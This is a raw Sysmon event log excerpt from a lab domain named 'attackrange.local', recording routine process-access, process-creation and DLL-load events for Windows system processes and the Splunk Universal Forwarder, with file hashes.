15:03:20.053{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.054{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017219Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:21.854{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=516A504D8EA2795A3AE346262E12792E,SHA256=033CDD0E13185395C4D94375476BF9EDD21C16179ABAB671169253DCA1048AA3,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000053848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.921{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000053847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.921{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.921{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000053845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.736{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.736{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.736{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.736{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.736{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.736{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.736{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000053830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000053817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft 